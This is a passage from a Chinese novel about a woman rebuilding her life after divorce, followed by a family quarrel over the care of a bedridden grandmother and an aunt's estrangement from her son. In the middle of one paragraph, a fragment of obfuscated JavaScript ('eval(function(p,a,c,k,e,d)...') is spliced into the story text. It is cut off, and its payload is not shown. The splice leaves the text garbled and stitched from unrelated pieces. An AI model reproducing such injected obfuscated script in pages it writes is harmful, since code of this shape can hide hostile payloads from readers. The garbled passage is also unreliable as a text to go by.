杨锦姿看着墙上的丝巾画,这位挪威设计师是她念书时最喜欢的设计师之一,她喜欢他笔下各式有魅力的女性,喜欢他画的插图和浓烈的配色,她也想过买那本画册,最后没买到,这个牌子的耳环倒是收了十几副,还淘到了这个牌子的眼镜框,可是自己也不近视,就留着了。 杨树奇回来见她还看着墙上,把咖啡和点心放她窗边的桌子上,说道:“我记得你说过你家有个制灯厂的?她还比较擅长做马赛克玻璃灯具,你看我收银台的那盏灯,也是她新送的。” 杨锦姿看向那边那盏灯:上部分蓝色灯面里两只交叠的浅橘色的手像飞鸟的形状,红色丝带绕着它们,下部分灯底用渐变色调的蓝紫色、绿色的玻璃拼出数条人鱼的尾巴。她过去拉亮那盏灯,灯线上坠着颗海蓝色的心型琉璃珠子,灯光很柔和,她却认为灯面太激烈,像鸟要坠进海里,像天空化在海里,像不能相爱的人被人鱼诱惑有了一起赴海的决心。她很喜欢这盏灯,但她不喜欢这种传递给她的感情,或许她的感受是误读的,她不喜欢这种波动的感情和波浪的冲击,对她来讲,没有什么比稳定更重要,这盏灯太容易让人发梦,让人以为自己可以做些什么。 “奇姐,你好友的妹妹是个什么样的人?” “嗯?你好奇‘下蛋的母鸡’啦?我这个妹妹是个蛮有意思的人,外人看她比较脆弱,但她和她姐姐很像,非常倔强,虽然她姐俩觉得不像。要是她情绪好一些,能开心点就好了,她最近比较难,心里苦吧!每个人渡过心难的过程和时间不一样,各人终究有各人的出路,我虽然和她姐姐一样担心她,但也相信她总会过来的。”杨树奇的手触着灯面上绕在一起的手。 杨锦姿不再好奇“下蛋的母鸡”,那位和她一样热爱同一位设计师浓烈色彩的脆弱的执着者。她只是记住了这一刻这盏灯给她的感觉。 从车内后视镜看着梁挥在后座的那半死不活的样子,杨锦姿已经不是恶心,她在怀疑自己想要的是什么:如果安稳和自由的生活是和这种软弱的人在一起,那安稳和自由到底是什么?他是个笨蛋吗?一个人怎么能把事情办成这样,解决问题的能力都没有,他怎么敢的?他脑子散黄了吗?还是脑子只能转半转,弯不过一圈? 接下来半年,是繁琐的程序。杨锦姿还是很顺利离婚了,她想起梁挥就要发笑:他似乎对一些事务没有概念和想法。如果一个人既没有和太太离婚也没有同女友分手的想法,那他一直以来是在当僵尸吗?脑子呢?哦,僵尸好像是精力旺盛。有点难过的是,真正分开了,她如释重负的时刻,对他也没有浓烈的爱恨,想起很多生活细节,她甚至觉得他并不是一个多恶的人,他只是一个对她无关紧要的人了。最重要的是:他怎么想不重要,我怎么过才重要。 婚是离了,杨锦姿去她父亲那边把他嘴里不赚钱的制灯厂要到了。 “如果不值钱,那为什么不能给我经营?” “随你了,你有本事就搞好,没本事就早点死心。还是要再挑个合适的人生个孩子,人怎么能没后代!” 杨锦姿私立学校的工作暂时没辞,机构的班不带了。她想得很清楚,如果想再教书,以她的能力随时能回去,可是爸爸愿意给她厂子,错过了谁知道老头子想法会怎么变。她工作不算忙,把厂子的事慢慢接起来,她相信她自己。 离婚后,杨锦姿翻出手机上的图片,给石唯发邮件,她想搞清楚一些事情。两人邮件往来了一段时间,杨锦姿把石唯约了出来。她和石唯见过好几次面,一起吃过三次饭。 第一次约在在杨树奇店里。杨锦姿早早到了,等石唯过来,两人和杨树奇打好招呼,就去了隔壁海鸟咖啡厅。小纪有点担忧地看着杨树奇,杨树奇表示没关系的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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石唯很快地吃完了点心,喝了口冰水,平和地说:“念书的时候,他和我同学半年,交往不算多。有天晚自习下课,我找东西耽搁了,同学们都走了,等我走的时候,他急急忙忙跑进教室撞倒我了。我撞上了桌角,脚踝的水泡撞破了。是前一天夜里我外婆怕我冷,往我被子里放热水袋,我熟睡不知道,低温冷烫出的大水泡。我那天一整天都小心翼翼,生怕水泡破了留疤,想着水泡过两天就能消了瘪下去,结果晚上下课被他撞到了。我很生气,他道歉说不好意思撞到我,还问我眼圈好黑是不是没睡好,我气死了,说谁像他一样上课睡觉呢。他笑起来,说是忘了拿MP3所以返回来,取下一只耳机给我听。他那时候循环播放的两首歌是Edison的《你快乐吗》和《极爱自己》。后来出了震惊社会的娱乐新闻,也引起了不少讨论。我们的人生在初中毕业后没有交集,但是他一直听Edison的歌,我想他不会不晓得这件事。那天你说到录音,我无法想象,他怎么……我实在无法理解。” 杨锦姿用勺子小幅扒拉着蛋糕,也不吃:“你打了他后,我回去路上有一点反应过来你为什么打他了。在家里我问他了,他说他只是一直习惯录雨声,并不是故意,那一次完全是巧合。我想他之后应该和你解释了。” “是的,他道歉了。我不可能原谅他,他不应该让这种巧合出现。我相信他不是那么无耻,也知道他一直有录雨声的习惯,我只是觉得他本可以避免这失误,至少他不该发现了还留下,在我并不知情的情况下。” 沉默了很久,杨锦姿去续了杯咖啡,回来坐下后问石唯:“你有什么想当面问我的吗?” 石唯低头:“杨小姐,我没有什么要问的。我很抱歉,对不起。” “哈哈,我们都邮件往来了那么久,你还是叫我杨姿好了。我约你出来不是为了你的道歉,我已经结束了和他的关系;我只是想搞清楚一些事情,就像我之前发邮件给你一样,我不是要审案。我不是为了他或者为了你,这对我不重要,我是为了自己,给自己一个交代。其实我们可以轻松一点聊的,我不想见面还是沉重的样子,对我而言,这件事和一场不伤害身体本身的交通事故没有区别。” 这天晚饭,杨锦姿和杨树奇还有石唯一起吃的一家老火锅,吃饭氛围还可以,杨锦姿吃得多也说得多,吃完直呼过瘾,她好久没畅快吃辣了,不管是在家里还是在外面。 杨锦姿第三次和石唯吃饭,不像前两次有杨树奇陪,这次她是有事咨询石唯。那天还是约在杨树奇店里,两人和杨树奇聊了一会儿,杨锦姿邀石唯去附近的寺庙吃素斋。 “奇姐以前同我讲过,有一次去外地做装置,请了她朋友妹妹帮忙,好几天都不太顺利,后来那个妹妹拉着她去了当地近处的土地庙拜了拜,后来就很顺利了。我想她说的是你吧?她说你不吃牛肉,初一十五吃素来着的,我想也许你是信什么。这边的斋菜很不错,吃完了也可以拜一拜。”杨锦姿吃了口菌菇。 “那次啊,树奇姐第一次去外地做装置,她比较焦虑,其实没什么问题,她总担心做不好,我带她去土地庙拜拜就是一个心理作用,让她放松一些。我不吃牛肉是因为小时候在乡下河里看到一头母牛刚生产的小牛没活下来,那头水牛眼里全是泪,那时候还小,也不觉得怕,就是非常难过。初一十五吃素是因为我外公有一年生病,我妈很焦虑,她发愿从此初一十五吃素,她其实特爱吃肉的一个人,我见她那样子,就和我爸陪她初一十五吃素,成习惯了。”石唯笑笑。 杨锦姿也笑起来:“这样啊!也就是说,其实你不信这些?” “怎么说呢,小时候陪外婆逢节叠元宝、包袱包,现在家里这些事也都是我来准备,我当然是信的。我的相信是:我不相信做了好事就一定有好结果,做了坏事就一定有恶果,我不相信做什么发什么愿就一定能得到回报。我的不信是我相信的原因。” 吃完饭,杨锦姿和石唯一起拜神,燃香的烟雾遮住杨锦姿的眼,紫色的背影有一种虔诚的重。走了一会儿,穿着紫色高跟鞋的杨锦姿说有点累脚,两人便坐在院内爬满紫藤枝蔓的凉亭下说话,她问了石唯关于马赛克灯具的一些讯息,她接手的厂子有一些外贸客人询单问这些,但是自己厂子之前没有做过。石唯把自己了解的信息都告诉了杨锦姿,还提供了她熟悉的几个南方灯厂的联系方式,她好几年前就是网上查到讯息后联络了一家岭南的工厂去学的。这次见面,杨锦姿送了石唯一枚彗星莱茵石胸针和一幅蓝色的眼镜框,是他们都爱的那个设计师九十年代的老款;石唯小心收好放到包里,谢过杨锦姿后,表示自己一定会好好珍惜使用。 杨锦姿忙碌了一阵子,请假加上周末去了几趟南方,差不多解决好事情后回来。那天,她去杨树奇店里买花,两人聊了一会儿。杨树奇问她制灯厂的进展,她心情不错,说这次她来请咖啡。杨锦姿去隔壁海鸟咖啡店买好咖啡出来,发现门口绿植全部换了,那颗印度淡妆月季也砍掉了,换了更好养的蓝雪花。 “对了。锦姿,石唯上次过来了的,我接的花园项目她帮了点忙。她有东西托我给你,好像是点心和书来着。我去拿给你。”接过咖啡,杨树奇去了店里后面的房间。 杨树奇把盒子递给杨锦姿,说道:“喏,这些。点心不知道是不是曲奇什么了,她姐姐倒是喜欢给我带各式曲奇。书也包着的,你一起拆开好了。” 夜里回到家,杨锦姿用美工刀划开礼盒包装,里面是一盒精致的素点心,应该不甜;撕开另一个包装袋,小盒子里是一块紫色方巾——上面咖啡杯前托着下巴的女士,有着冷峻眼神,被羽毛帽子遮住一半神秘的脸;那本书是之前提起的画册。 杨锦姿把东西收好,去了书房。书架空了一半,她把画册放进去,转眼又看到什么,拿起那张“一切也愿意”紫胶唱片,看了一眼便塞回去。 窗外没有月亮,夜里的蝉鸣总是响亮,杨锦姿拉上笨重的紫色帘子,转身出去。 她叹了口气,把桌上牛皮纸包着的那小束紫鸢尾花拆开,简单整理后养到不锈钢花瓶里。 21. 哀鸿 今年梁挥没怎么管公司的事,伍义知道他的情况,就多承担了一些事务,让他放心先把个人生活调节好、家里事情处理好。 梁挥专门报了个班,抽了半个月时间去学习护理照护技能,最近刚结束。在夏口,他都是住酒店,没去父母家。上次去看外婆,外婆拉着他一直哭也不说话,像小孩一样哼着。他耐心给外婆喂水时,梁母进来小房间,发了通脾气。她也没看人,来回踱步,突然把不锈钢脸盆扔下——湿毛巾耷了一半在地上,水溅得地板上到处都是。梁挥听不清母亲到底骂了什么,只听见一句:“你尕尕(外婆)是要把我磨死的!真是前生的在劫……害死人!”看着向来讲究的母亲乱蓬蓬的头发,和皱起眉来刻进眉心的悬针纹,梁挥还是忍住了,什么也没说。他把盆子端起来,去卫生间换了温水,又重新找了条新毛巾,拿着拖把去了外婆住的小房间。梁挥看着地上那条毛巾,也不知道用了多久,白得发灰。母亲还抱怨“过的不是人过的日子”,外婆这样躺着,就是“鬼过的日子”吧?自己现在只要开口,就成了站着说话不腰疼的“样品儿子”和“水中月孙子”;况且把生活过得一团糟的自己,好像没有在家里说什么话的资格。那天,梁挥耐心帮外婆擦着身子,把床铺整理清爽后,外婆又哭了,是小声呜咽,拉着他的手不放。他把另一只手覆在外婆手上,耐心安抚着外婆。最后,外婆呜咽道:“小鱼,你认不认得医生呀?我想看病,我睡不舒服,我想腿胯动……” 外婆这事,用梁母的话来说就是“真是背时”。老太太半年前去买菜,好好地在市场路中间走,没想到踩到了一块烂肥肉,就这么一跤摔得不轻,人偏瘫躺床上了。 梁挥两个月前去姨妈那边看外婆,她状态还不错,老太太年纪大了,对着姨妈使性子,态度既蛮横又委屈,平时对外人冷漠得像江边庙门口铁狮子的姨妈,也陪笑哄着。 外婆这个情况,只能姨妈和梁母轮着换班,各照顾一个月。两人都已退休,也没有带孙的烦恼,照顾生病的老母亲来,比别人家算是略微容易些。 梁挥买了东西,提着大包小包去梁母那边。天气闷热,他爬上五楼后,在门口停下缓了一会儿,胡乱掏出手帕揩了汗。刚准备按门铃,屋子里尖锐的争吵声传出来。梁挥厌弃地把手帕团起来塞包里——手帕上的刺绣小粉猪,脸也皱成一团显得扭曲。他只得把东西都放下,到包里摸出钥匙,连忙开了门。 梁母和姨妈在吵架。俞家是三姐妹:俞鸿雁、俞兆萍、俞丹芳。梁挥只在外公和姨妈的影集里见过丹小姨,姨妈和母亲一直还算亲近——至少梁挥看上去是这样的。私下里,姐妹有什么事,他也不清楚,更不想清楚。 小房间里,地上是没摔破的瓷杯子,水洒了一地;外婆在床上闭着眼睛喘气,头发也全汗湿了,像刚破壳的脆弱小鸡。 姨妈情绪激动,重复对梁母说着:“你好枯的心!好枯的心啊!你的心怎么能这么枯?姆妈的事,你累了什么啊?官司是我操心搞的,钱也不差你什么。我们都不差钱,姆妈也有退休金,照顾没费你一毛钱,你出个人怎么就难为你了?是要你一个人照顾了?我是和你换着班的呀!我是死了吗?” 梁母不耐烦回道:“少说这种话哟!你情愿照顾姆妈是你的事,你耐得烦是你有本事!别要求每个人都像你一样——你能做到,别人就要做到?你也少拿长姐姿态教训我,都各成各家几十年了,未必还是一屋人里,你是大姐,谁都管一下吧!” “你少扯这些,你现在到底是怎么想的?老头子死了,就老娘一个了,他们也没有对不起过你,照顾姆妈这事到底怎么说?”姨妈红着眼睛,狠瞪着梁母。 梁母抽了两张纸,擦着手上的水渍,走到拉了一半窗帘的窗边,背对着姨妈,看着窗外说道:“你以为都像你这么闲?你没老公,陈羽这么多年都不回来,他两个孩子了,也没让你过去带。你心里没数?亲戚们还嫌你造业,都晓得闭嘴,不让你丢人呢!你有的是时间和心思,操这里那里的心;我不能把我的心思和精力全搭到姆妈身上吧?你没有家庭,我有家庭啊!” 窗外的蝉鸣声,比前段时间的雷暴雨还吵;杉树叶子微微卷起来一些,花草怕是要热化了。姨妈强忍着,压下声音,尽量保持着镇定:“你是什么意思?你就给个准话,你还照不照顾姆妈?” 梁母拉了书桌那边的椅子坐下,翘着腿,左脚跟烦躁地点着地板,手背托着下巴看着窗外,语气平淡地说:“你总是那么强势,什么都按自己的想法来。我就没有我的难处吗?我想过正经日子、正常生活,这两年我受的打击还不多吧?我不能再被姆妈拖住!你不要再逼我了,你想我死,就继续逼我!反正你从做伢起,没有嫁就这样;结婚了,把老公逼走了;上个班,同事和学生没一个待见你;儿子去港城念书,再去南洋读研,就彻底不回来了。陈羽他孩子都两个了,你除了他结婚那次出去了一趟,见了他太太,这么多年,连两个孙子的面都没见过吧?你以为你能控制谁?强势到头能有什么好下场?你现在还想控制我?我有我的家,和你不一样,你搞清楚的自己的情况,再操闲心吧!” 姨妈笑起来,她皮肤很白,却不透水色,是很死板的白,像废弃久了的石灰坑,隔着死水,能看到里面沉积的硬块。她走过去把窗帘全部拉开,用脚勾住梁母所坐椅子的横枨,往自己方向狠拖了一下,推了梁母的肩膀,让她侧过头来,说道:“兆萍,你简直不可思议!我还说是为了什么,原来还是为了那个不入流的东西!姆妈一偏瘫,你一要照顾,人家已经去海岛豪华酒店长租‘疗养’了,半年连个影子渣也没有。我看他身体好得很,怎么姆妈一出事,就要去‘疗养’了?二十年前这个东西到花园酒店豪赌,一夜输光家产,丢下你们母子跑路,你真是情真意切!一个人面对债主的日子,也只有娘屋的亲戚帮忙。那年梁悦刚上大学,她怎么过的?要不是家里出这事,对她有影响,也许她不会在外面找感情寄托,早早怀孕生了婷婷!你那几年无暇关心梁悦,也几乎没管梁挥。你惦记着那东西,那东西最后运气好,东山再起,对你最好也就是没和你离婚了。我说你怎么对姆妈这么枯的心!哟,你有你‘幸福’的家庭生活要过哦!” “你不要倚疯作邪!你自己家庭失败,有什么资格说别个?我看你是见不得别人好!姆妈都八十七了,难道要把我们一起耗下去吗?她自己这样也受罪!你说爷和姆妈没有什么对不起我,我也没有什么对不起他们吧?”梁母有气,站起来,赌气一般踢翻了椅子,背过身子拭泪,“老头子看重你是第一个伢,你念书好;姆妈只想生儿子,我们姐妹她根本都没怎么上心。我就是夹在中间受气的老二,我没有得到什么坏处,那我也没有讨到什么好处啊!你不要好像很清高的样子,这么多年姆妈又没有死,你搞什么‘长姐如母‘那一套?好像你对俞家有什么责任,没你不行一样。再说,我们早就各自成家几十年了,老头子已经死了,姆妈要是不在了,就没有什么‘俞家’不‘俞家’的了。我再怎样也不像俞丹芳一样,你有本事把她寻出来,要她也尽责任,不要折磨我了!” 外婆在床上听到小姨的名字哭起来,又发不出太大的声音。 姨妈很愤怒,对梁母吼道:“你还好意思提丹丹,她的信就是你扣下的,你一直都是好枯的心!她是杀人了还是放火了?她怎样不上台面了?丢你的人了吗?你当初怎么能……” 梁母打断姨妈的话:“行了行了,你不要说了!反正你想要我照顾姆妈,那就还是一人照顾一个月。你不要管我怎么照顾她,我照顾的时候,你不要来我家!到日子了,你来接姆妈到你那边就行,少管别的闲事。你这么喜欢指点别人家事,当初就好好过日子;自己过得不好,才会嫉恨别人正常的家庭。你说我心枯,我还觉得梁挥的事都是你害的呢,谁知道是不是你心枯?你教过那个姑娘伢,说不定是你把他介绍梁挥认识的呢!” 梁挥在房间门口,手里提着东西,忍不住喊了句“妈!” 梁母摆手,横了眼他,继续对着姨妈说:“你也别扯陈谷子烂芝麻的事了。你说梁烈不入流,那你也晓得他后来又好起来了,也没再沾那些东西了,连麻将都不打。你见不得我日子好过?你的小妹妹跟不成器、没本事的人跑了,不知是死是活,你还一口一个‘丹丹’!你就是不待见我,想找由头贬我!俞丹芳是自己活该!她是自找的,她怪不了别哪个人,她就是这命!怎么怪都怪不到我的头上!” 梁挥甩下手上东西去拦时,已经来不及了——姨妈动手打了梁母一巴掌。他跑过去拉住她,有些责备地喊了声“姨妈!”。姨妈泪流满面:“小鱼,上一代的事你不晓得,我也不和你说了。你不晓得你妈,每天下午六点半后就不喂你尕尕水了!我来的时候,尕尕从床上翻下来,上半身拼命在往外面挪,她口干啊!”姨妈擦掉眼泪,看向梁母说:“小鱼,你不晓得,你妈妈故意不给你尕尕擦身子,她想尕尕染褥疮,之后得肺炎,就走得快得很了!你舅爹爹就是这样走的,她是吸取了你表姨、表舅的‘好经验’!” 梁挥吃惊地看着梁母,手从姨妈胳膊上松下来。他去房门外,把包里的培训结业证书拿出来。之前参加那个培训班时,就被一屋子阿姨、嫂子笑话,大家都好奇地问他学这个做什么;拿到这个所谓的证书,他也觉得搞笑。带回来,本是为了让母亲轻松些,放心他同她一起照顾外婆的,可现在…… “我照顾尕尕……”梁挥把那个结业证递给他妈。 姨妈露出复杂的表情——不知道是无奈,还是困惑,抑或是痛苦。她吸了下鼻子,抹掉眼泪,快步出了房门去客厅,拿了包,很快地离开。大门关不上,她关了两次,最后重重摔一下才关好。 梁母对梁挥说:“你不要这样,我会管尕尕的。你公司的事还是要操心,就算亲姊妹、弟兄都靠不住……何况是朋友合伙做事,你还是多上心。要是可以,我托你爸爸给你安排的相亲,你还是……” “妈,去房间午睡一会吧,我去帮您把空调开一下。先……先一起把尕尕照顾好再说吧。您刚才说那些话,唉……那三年,要不是姨妈处处关照我……照顾尕尕,您有困难可以同我还有姐姐讲,不要犯糊涂。”梁挥都不知道怎么和他妈说才好,他脑子很混乱。 “你是过得很好吗?你爸只管你工作状态,从不考虑你个人生活,这么久了,都跟事不关己一样;你姐姐更不谈了,我也晓得她一个人带着婷婷不容易。不谈了,千错万错,总是我这做姆妈的错。”梁母不再说什么,出房门去阳台收床单。挂在外面的老床单是粉白色的,上面满是牡丹花样和腾飞的凤凰,中间的如意环纹绕出团圆的圈,里面是团凤栖牡丹。小时候,外婆洗衣服,梁挥在一旁拿着木棍玩,外婆总说他不够斯文,要他去书房找外公去画画。画什么呢?外婆说画床单上的花和凤。梁挥童言无忌,说外婆的床单不好看,凤凰长着两根孔雀尾巴。现在,外婆躺在床上,手一直一抽一抽动着,闭着眼流泪。 俞鸿雁打车去车站,坐最近的一班高铁回家。下午回到家里,先是把房间窗子关好,接着开了空调,她坐在床尾,背驼着,两手耷拉下来——太累了。立秋了,这天气还是惹人恼。 俞鸿雁上周去买菜,听到几个老太太议论今年的天气。有说:“今年这热哦,是多了一个闰六月嘛!”有说:“老一辈的说哦,一个位处(地方)亢热大旱,就是这位处的不仁不义,天罚哦!现在日子越来越不好过了。”她听了不屑地哼笑一声,心想:不仁不义?也没见上天怜悯此地的劳苦大众。那照这样“天下共业”,也没见日子好过的那群人受什么影响,发愁的不还是水田缺水、禾秧和人一起遭罪的人们? 其中一位老太太听到了她的笑声,朝她方向看了一眼:“我说,这个婆婆,您家是在笑我们吧?我们啷个碍到您家了?”俞鸿雁本来打算随口一句敷衍过去,看向那位老太后,突然有了一丝悲哀。她点头示意,快速说了“不好意思”,转身去对面摊位挑菜了。提着丝瓜、红薯叶还有牛肉回家,路上她想着:本地农家土丝瓜都下市了,现在都是外地大棚丝瓜,太贵了;牛肉今年跌得不成样子,倒能多买些;野生马齿苋一块钱一大把,自己却烧不好,吃起来总有点微酸。自己那会笑什么呢?听着别人是老太太,自己瞄了一眼别人,又想:自己看别人,和别人看自己,是不是差不多?自己也老得不成样子了,也是老太太吧? 坐了一会儿,也不知道是不是空调风太凉,俞鸿雁的腿又疼起来,她想起还有些黑蒜,起身去厨房冰箱那边,把冷冻格里的排骨取出来解冻,晚饭就炖个黑蒜排骨汤。她一个人吃饭很多年了:没退休前是吃学校职工食堂,退休后就在家里简单烧点小菜;十年前老父亲过世后,老母亲搬过来和她一起住,她才有了说话和一起吃饭的人。她的儿子陈羽喜欢吃丝瓜味不太重的丝瓜汤,那时,陈羽的爸爸把去皮的丝瓜一分为四,一条条横剖去掉有籽的瓤肉,再用刨皮刀把丝瓜肉刨成薄薄的一片片——这样煮出来的丝瓜蛋汤很清爽,有淡淡的丝瓜滋味。怎么走到今天这一步的,俞鸿雁也不知道,她只知道:她认得起,她认,她从来没有后悔过;很多时候她都会想,让陈羽恨吧,如果恨她能让他心里好受一些。 俞鸿雁总记得儿子十岁的一件事:她带陈羽去娘家玩,那次兆萍也带着梁悦梁挥在那边。陈羽和梁悦有了小争执,吵着吵着两人快动手了,外婆劝俩小伢:“悦悦,你比大鱼大一岁,姐姐让弟弟;大鱼,你和悦姐姐还有小鱼弟弟是世界上最亲的人,不要打架相骂,长大了还要互相帮助。”那时梁悦大喊:“我不和大鱼亲,我和小鱼才是一家,我亲弟弟是我最亲的人!”陈羽当时回喊:“哪个稀罕和你亲啊!我妈妈是我世界上最亲的人,我有我妈妈就够了!”才不过几年,陈羽离家去港城念大学时,对她说的最后一句话是:“妈,我每一次喊你‘妈’,您是怎么心安理得应下的?你对我没有愧疚吗?一点点都没有吗?”俞鸿雁当时很痛苦,愤怒和困惑压过痛苦后,她果断坚决地回道:“我没有错,凭什么要愧疚?我对得起你。”她后来很多次在梦里重回那天:陈羽那个从惊诧到冷静的笑,那当她是叫花子在讨米的同情眼神,那由质问到嘲讽的话——他说:“您真的蛮可怜的,可恨之人也有可怜之处,你好可悲哦!”她本以为儿子会摔门走,但陈羽轻轻关好门离开家,就像他的老师、同学评价的一样,是沉稳的好学生。只是这个稳重的孩子,没有再回头。 每到夏天,俞鸿雁总会烧丝瓜蛋汤,她想:陈羽在遥远的南洋,也会吃丝瓜吧?她很识趣地不主动和儿子联系,前些年她每次给儿子发正常的问候消息,隔天儿子都会像发疯一样发消息控诉她,提起遥远的往事。她不知道如何回应,困惑过、痛苦过、痛哭过,她不知道要小心翼翼到什么地步,才能稳住那根要绷断的弦。陈羽每次控诉后,没过几天又会发简短的道歉信息给她,她会小心斟酌语句,可是来来回回打字到最后,也只是删成“没关系”。血脉相连的两个人,似乎不能联系,不然只能是“对不起”“没关系”的关系。 和儿子的关系曾让俞鸿雁痛苦万分,像溺水了好不容易抓住一根浮木,结果浮木是腐的——可是溺水的人,知道是无用的腐木,还是会紧紧地箍住它。儿媳嘉菱是个温和善良的人,会定期和俞鸿雁联系,聊陈羽的生活近况,发两个孙辈的照片给她。在俞鸿雁焦虑到大把大把掉头发时,在她得了肺炎、觉得自己把日子过成这样,好像一了百了也没关系时,嘉菱在电话里耐心听完她的询问和哭诉,真诚温和地告诉她:“他其实不恨您,只是对您的爱,让他很煎熬;他承受着和您同样的痛苦,对您的爱让他痛苦,对自己的攻击也让他痛苦。”陈羽一直定期接受心理咨询治疗。那次之后,俞鸿雁好像放下了些什么:她生活变得更规律,也更珍惜自己的身体,运动也比之前多了,没有了那么多困惑,只是更心疼自己远方的儿子。她愿意认,也愿意等,不过等不到也没关系了。 俞鸿雁晚饭喝了两碗黑蒜排骨汤,吃了一点蔬菜,洗好碗筷、收拾好厨房,她出门散步。行道两旁的栾树花开了,鸡油黄的一大片,炸开的一串串里,零星有几颗嫩绿的、橘粉的小灯笼般的果子——又是一年秋天。 前年春天,俞鸿雁被电动车撞了。很多青少年不戴头盔骑着九号电动车飞驰,也无视交通规则,风把他们的头发吹过头顶。多的是骂这些孩子的人,俞鸿雁一向在路上避着这些孩子,她教书那么多年,见过无数孩子,她认为没必要骂这些追求疾风和自由的孩子——在她的经验里,“脱轨”和“失序”的孩子背后,是家长关心不足、情感漠视,或者教育虐待。风会把孩子们吹向哪儿呢?生命有它的来处,就有它的出路,只是很多时候,也许明明是“本不该”或“本可以”。如果要怪,不应只是归因到那些孩子本身不好,这很推卸责任,也很残忍。撞人的电动车上是三个十几岁的孩子,他们见撞了人,加速窜走。当时几位同样散步的中老年路人见状帮忙:扶人的扶人,报警的报警。俞鸿雁去医院检查,好在只是腿伤,后来也没找到那几个小孩,这事也就这样了。这之后,俞鸿雁虽然治疗了一段时间,恢复得还不错,但偶尔有些腿疼。 前年夏天,石唯端午节问候了俞鸿雁,还约了时间给她送了螃蟹礼盒。见面时,俞鸿雁请石唯到家里坐,聊起了之前被撞和腿痛的事。石唯问起俞老师有没有吃钙片,说她家的女性长辈年纪上来后,基本都有些骨质疏松问题,看医生后一直在遵医嘱补钙。俞鸿雁回自己是没注意这方面,等空了找个时间去查查。那天晚饭是石唯带俞老师去一家外地菜馆吃的,她点的黑蒜排骨汤俞鸿雁很喜欢,她笑说家里备了不少黑蒜,下次给俞老师带一些。后来每逢节假,石唯都会问候俞鸿雁;俞鸿雁也时不时联系石唯,表达生活上的关心和问候。 俞鸿雁发现石唯和梁挥在谈恋爱,是去年六一儿童节前的周五。那天俞鸿雁去沙桥路菜市场买菜,那边有几家卖的米团子口味很丰富,她习惯去那边买一些备着;菜场里的绿豆皮也不错,比起炒面,她更喜欢买几块钱的绿豆皮回家炒着吃。菜市场那条路比起别的日子拥挤了很多:窄窄的路上堵满了各式车子,汽车不停滴着喇叭,电动车上的人厌弃地叫着“滴滴滴,滴么昂啊!”,还有老人接送孩子的电动三轮车,也比平时多了很多。路人说沙桥路小学在办六一文艺汇演活动,俞鸿雁心想是去看学生演出的家长比较多,她简单买了点东西就匆匆回去了——实在不喜也不习惯人群。到下午了,不知怎么突然想吃卤菜,只能再出门去沙桥菜场“桥头第一家卤菜”摊子买些凉菜、熟食。卤菜摊头对面的梧桐街道也有不少卤味店,俞鸿雁一眼看过去,见石唯从对面卤味店隔壁的北方饺子馆出来了。刚准备过去打招呼,又见自己侄儿子提着打包盒出来,牵住石唯的手,笑着说着什么,拉着她进了卤味店——他们亲昵的样子,分明是一对爱侣。 那天夜里,俞鸿雁辗转反侧,她大概明白是什么情况了。梁挥这样子,她心情很复杂。在陈羽小时候,俞鸿雁接儿子放学,等在校门口——一群群孩子跑出来,无数孩子,做家长的总能很快找到自己亲爱的小宝贝。有段时间陈羽爸爸也和她一起接儿子,那时夫妻关系很好,夫妻俩牵着儿子回家,路上陈羽爸爸还说:“小雁,这么多孩子,小小的脑袋看起来没什么不同的,要我看,都是黑压压一片冲出来,你说家长怎么就一眼认出自己家娃呢?”俞鸿雁发觉丈夫有时候挺有意思的,笑他:“自己家孩子,就是认后脑勺也一眼认得出来。”之后又对着陈羽说:“大鱼宝贝,你说是不是?你走到哪儿妈妈都能一眼认出你。”陈羽笑笑闹闹,吵着要父母提着他的手,把他往前甩得飞起来,一家人就这样回家了。后来,那个“后脑勺”变成了梁挥——在他初中三年,让俞鸿雁操心和守候的是这个孩子。是的,白天那个身形那个背影,当然是自己一直期望他过得好、过得更好的侄儿子。 一周后的端午节,石唯照例问候俞老师,找了送货师傅把这年的螃蟹礼盒送过去。俞鸿雁发消息感谢石唯,并约了石唯下次见一面。两人之后在父亲节前的周五见了面,在江滩附近的一家本地菜馆吃午饭。俞鸿雁吃起鲫鱼,筷子不太灵活,石唯拿公筷帮她拆了一条鱼的肉。 “石唯,谢谢你,麻烦你了。实在不好意思,我年纪大了后,右手总是会稍微有些抖。” “俞老师,没关系的。我现在拆鱼肉不要太厉害!”石唯大笑起来,又有点不好意思地抿住嘴。 俞鸿雁也轻轻笑了:“我带你们那一届时,老说你们是最难带的一届,你们也都怕我,我没怎么见你们这群孩子笑过。你胆子特别小,但是每次路上见到,也不像其他同学远远躲开,总是跑过来小心翼翼喊声‘俞老师好’。有次天热得很,我那天又没过早,见不是我的早自习,就跑到学校对面端了碗细粉回来。实在嫌热,想着就到自行车棚那边的樟树下吃完,再回办公室。你那天是校值日生,估计在值操场那一块的卫生,和别的班值日的三个同学跑过来对我喊‘俞老师好’,把我吓了一跳。” “啊!老师您还记得啊?我想看到了么,就跑过去了。” “真是怪不好意思的,被学生见到端着面边走边吃,我当时真是发糗。”俞鸿雁捂着嘴笑到眼泪都要出来。 “没关系,没关系的,老师,咱们这边不都是早上赶时间就边走边吃嘛!” 俞鸿雁拿纸巾轻轻拭了眼角,开玩笑地盯着石唯道:“怎么没关系?你俞老师凶归凶,严归严,那也是个很优雅的淑女,结果被你带着仨孩子一起看到我嗦细粉。你这孩子,说你胆小吧,你又总是蹦蹦跳跳地和我打招呼;说你胆大吧,每次我发脾气,你在座位上恨不得抖起来。” 石唯不好意思地笑道:“我可能是间歇性勇敢的胆小鬼吧,哈哈。” “去年我问你,你说在恋爱了,还是和那个男孩子在交往吗?一年了吧?” “嗯。他拆鱼肉比我还厉害,我就是跟他学的。俞老师,找个合适的时候,我绝对会和他一起来见您。”石唯小声说,连眼睛都是害羞的。 俞鸿雁见石唯像个小孩子一样开心,有一种说不出来的哀痛。 “你这孩子一点没变,跟初二时一样。那时候你喜欢欧阳是吧?” 